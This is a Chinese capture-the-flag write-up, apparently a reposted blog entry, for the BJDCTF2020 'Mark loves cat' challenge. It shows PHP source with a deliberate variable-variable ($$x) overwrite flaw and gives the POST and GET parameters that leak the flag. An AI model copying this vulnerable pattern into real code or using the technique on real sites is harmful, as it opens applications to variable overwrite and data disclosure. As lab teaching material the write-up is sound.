zoukankan      html  css  js  c++  java
  • [BJDCTF2020]Mark loves cat

    Githack获取源码

    <?php
    include 'flag.php';
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    
    foreach($_POST as $x => $y){
        $$x = $y;
    }
    
    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    
    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){	//GET方式传flag只能传一个flag=flag
            exit($handsome);
        }
    }
    
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){	//GET和POST其中之一必须传flag
        exit($yds);
    }
    
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){	//GET和POST传flag,必须不能是flag=flag
        exit($is);
    }
    
    

    php动态变量
    $a="b";
    $b="c";
    echo $$a;
    结果输出:c;
    解释:$$a=${$a}=$b=c

    首先post:$flag=flag

    foreach($_POST as $x => $y){
        $$x = $y;
    }
    

    这样就变成了$$flag = flag

    然后GET:?yds=flag

    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    

    $x为yds,$y为flag,所以$$x就是$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
    看源码

    只要没有flag参数,就会exit($yds),就可以得到flag了。

  • 相关阅读:
    Java遍历Map、List、Array
    自签名SSL生成
    oracle_round
    Timestamp_时间戳
    oracle_substr
    eval
    orcale_聚合函数
    oracle_decode
    js_JSON
    sql拼接
  • 原文地址:https://www.cnblogs.com/buchuo/p/12657978.html
Copyright © 2011-2022 走看看